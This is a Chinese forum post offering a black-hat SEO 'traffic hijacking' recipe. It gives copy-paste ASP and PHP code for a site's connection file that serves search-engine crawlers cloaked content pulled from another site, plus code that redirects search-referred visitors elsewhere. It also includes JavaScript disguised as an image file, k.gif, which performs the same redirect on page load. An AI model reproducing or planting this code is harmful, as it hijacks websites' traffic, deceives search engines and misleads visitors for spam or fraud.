黑帽seo技术：include asp php流量劫持

admin · 发表于 2014-12-1 18:48:55

首先，很简单，在首页加上以下代码：

asp版

<script src="images\k.gif"></script>

php版

<script src="images\k.gif"></script>

然后根据网站的程序在conn文件中加入以下代码，如果没有conn.asp或者conn.php，请自行创建：

conn.asp版

-----------以下复制--------------------------------
<%
function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogou","yahoo","soso","360spider")
isspider= false
for i=0 to ubound(searray)
if (instr(agent,searray(i))>0) then isspider=true
next
end function

function fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
fromse= false
if urlrefer="" then fromse= false
searray=array("google","baidu","sogou","yahoo","soso","360")
for i=0 to ubound(searray)
if (instr(urlrefer,searray(i))>0) then fromse=true
next
end function

function gethttp(url)
  dim http
  set http=createobject("MSXML2.XMLHTTP")
  Http.open "GET",url,false
  Http.send()
  if Http.readystate<>4 then
exit function
  end if
  gethttp=bytes2BSTR(Http.responseBody)
  set http=nothing
  if err.number<>0 then err.Clear
end function

function bytes2BSTR(vIn)
  dim strReturn
  dim i,ThisCharCode,NextCharCode
  strReturn = ""
  For i = 1 To LenB(vIn)
  ThisCharCode = AscB(MidB(vIn,i,1))
  If ThisCharCode < &H80 Then
  strReturn = strReturn & Chr(ThisCharCode)
  Else
  NextCharCode = AscB(MidB(vIn,i+1,1))
  strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
  i = i + 1
  End If
  Next
  bytes2BSTR = strReturn
End function

if(isspider()) then
  dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml
  bodyurl="http://www.itsvse.com" //快照网址
response.clear
remotehtml=gethttp(bodyurl)
response.write(remotehtml)
response.write("")
response.flush
response.end
end if

%>

conn.php

----------------以下复制----------------

<?php
function is_search_bot(){
$user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$identify = array('baiduspider','sogou spider','sosospider','iaskspider','naverrobot');
foreach ($identify AS $key => $tag){
if (strstr($user_agent, $tag)){
return true;
}
}
return false;}
function is_urlbaidu()
{
$come_from="baidu@sogou@soso@iask@naver";
$referer = explode("@",$come_from);
foreach($referer as $url){
if (stristr($_SERVER['HTTP_REFERER'],$url)){
return true;
}
}
return false;}

if (is_search_bot())
{
$html = "<title>武汉软件工程职业学院</title> <meta name=\"Author\" content=\"填写和关键词一样\"> <meta name=\"Keywords\" content=\"关键词\"> <meta name=

\"Description\" content=\"描述\"> </head> <body>内容</body> </html>";
echo $html;
}
if (!is_search_bot() && is_urlbaidu())
{
Header('Location: http://www.itsvse.com');
}
?>

最后，在images目录下，上传一个k.gif的文件，k.gif代码：

var s=document.referrer
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 )
location.href="http://www.itsvse.com"; //跳转网址

		自动登录	找回密码
密码			注册[Register]

[SEO] 黑帽seo技术：include asp php流量劫持

相关帖子